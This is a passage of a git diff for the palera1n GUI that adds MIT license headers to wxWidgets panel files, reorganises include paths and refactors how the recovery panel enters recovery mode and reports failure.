"%u devices connected. Please only connect one device.\n", + state.connectedDeviceCount + ) + ); + m_startButton->Enable(false); + } + else if (!state.connected) + { + m_deviceTitle->SetLabel(deviceTextString); + m_deviceSubtitle->SetLabel(deviceTextString2); m_startButton->Enable(false); } else @@ -209,7 +233,7 @@ void MainPanel::SetDeviceState(const DeviceState& state) const std::string versionString = state.productVersion.empty() ? "Unknown" : state.productVersion; const std::string productString = - state.productType.empty() ? "Unknown" : state.productType; + state.displayName.empty() ? (state.productType.empty() ? "Unknown" : state.productType) : state.displayName; const std::string ecidString = state.ecid != 0 ? ("ECID: " + std::to_string(state.ecid)) : "ECID: Unknown"; switch (state.mode) diff --git a/src/wx/MainPanel.hpp b/src/wx/MainPanel.hpp index 6f0dc56..8eb4be8 100644 --- a/src/wx/MainPanel.hpp +++ b/src/wx/MainPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifndef MAINPANEL_H #define MAINPANEL_H @@ -5,7 +32,7 @@ #include #include "DevicePanel.hpp" -#include "../event.hpp" +#include "../events/event.hpp" class MainPanel; class MainPanel : public DevicePanel diff --git a/src/wx/RecoveryPanel.cpp b/src/wx/RecoveryPanel.cpp index f6bc290..0d6a625 100644 --- a/src/wx/RecoveryPanel.cpp +++ b/src/wx/RecoveryPanel.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_GUI #include "RecoveryPanel.hpp" @@ -13,15 +40,10 @@ #include "AppFrame.hpp" #include "DevicePanel.hpp" -#include "../event.hpp" -#include "../utils.h" +#include "../events/event.hpp" #include "../globals.h" #include "../paleinfo.h" -#include "../gen/images/logo.h" - -#include -#include -#include +#include "../gen/embedded/logo.h" RecoveryPanel::RecoveryPanel(MainFrame* frame, wxWindow* parent) : DevicePanel(frame, parent) @@ -29,7 +51,7 @@ RecoveryPanel::RecoveryPanel(MainFrame* frame, wxWindow* parent) Bind(wxEVT_SHOW, &RecoveryPanel::OnShow, this); auto* root = new wxBoxSizer(wxHORIZONTAL); auto* left = new wxBoxSizer(wxVERTICAL); - wxMemoryInputStream stream(images_logo_png, images_logo_png_len); + wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len); wxImage img(stream, wxBITMAP_TYPE_PNG); wxBitmap bmp(img); auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp); @@ -133,30 +155,19 @@ void RecoveryPanel::EnterRecoveryMode() std::thread([this]() { const auto deviceState = GetDeviceState(); - if (!deviceState.connected) - return; - - idevice_t device = nullptr; - lockdownd_client_t client = nullptr; - - if (idevice_new(&device, deviceState.udid.c_str()) != IDEVICE_E_SUCCESS) - return; - - if (lockdownd_client_new_with_handshake( - device, - &client, - "palera1n") != LOCKDOWN_E_SUCCESS) - { - idevice_free(device); - return; - } - + if (!deviceState.connected) return; m_isEnteringRecovery = true; - - lockdownd_enter_recovery(client); - - lockdownd_client_free(client); - idevice_free(device); + bool success = enter_recovery(); + if (!success) + { + wxTheApp->CallAfter([this]() + { + m_isEnteringRecovery = false; + m_statusText->SetLabel("Failed to enter recovery mode."); + m_backButton->Enable(); + m_nextButton->Enable(); + }); + } }).detach(); } diff --git a/src/wx/RecoveryPanel.hpp b/src/wx/RecoveryPanel.hpp index 3f3c155..3ac2ff6 100644 --- a/src/wx/RecoveryPanel.hpp +++ b/src/wx/RecoveryPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifndef RECOVERYPANEL_H #define RECOVERYPANEL_H diff --git a/src/wx/SettingsPanel.cpp b/src/wx/SettingsPanel.cpp index 44b6ddf..920b978 100644 --- a/src/wx/SettingsPanel.cpp +++ b/src/wx/SettingsPanel.cpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifdef WITH_GUI #include "SettingsPanel.hpp" @@ -10,17 +37,16 @@ #include "AppFrame.hpp" #include "DevicePanel.hpp" -#include "../utils.h" #include "../globals.h" #include "../paleinfo.h" -#include "../gen/images/logo.h" +#include "../gen/embedded/logo.h" SettingsPanel::SettingsPanel(MainFrame* frame, wxWindow* parent) : DevicePanel(frame, parent) { auto* root = new wxBoxSizer(wxHORIZONTAL); auto* left = new wxBoxSizer(wxVERTICAL); - wxMemoryInputStream stream(images_logo_png, images_logo_png_len); + wxMemoryInputStream stream(embedded_logo_png, embedded_logo_png_len); wxImage img(stream, wxBITMAP_TYPE_PNG); wxBitmap bmp(img); auto* logo = new wxStaticBitmap(this, wxID_ANY, bmp); @@ -120,7 +146,6 @@ SettingsPanel::SettingsPanel(MainFrame* frame, wxWindow* parent) { wxString value = e.GetString(); if (value.length() > (sizeof(boot_args) - 0x20)) { - LOG_ERROR("Boot arguments too long"); return; } snprintf(boot_args, sizeof(boot_args), "%s", value.ToStdString().c_str()); diff --git a/src/wx/SettingsPanel.hpp b/src/wx/SettingsPanel.hpp index c7c5b6c..3078bed 100644 --- a/src/wx/SettingsPanel.hpp +++ b/src/wx/SettingsPanel.hpp @@ -1,3 +1,30 @@ +/* + * palera1n - https://palera.in + * + * Copyright (C) 2026 palera1n team + * + * SPDX-License-Identifier: MIT + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in all + * copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + * SOFTWARE. + * + */ + #ifndef SETTINGSPANEL_H #define SETTINGSPANEL_H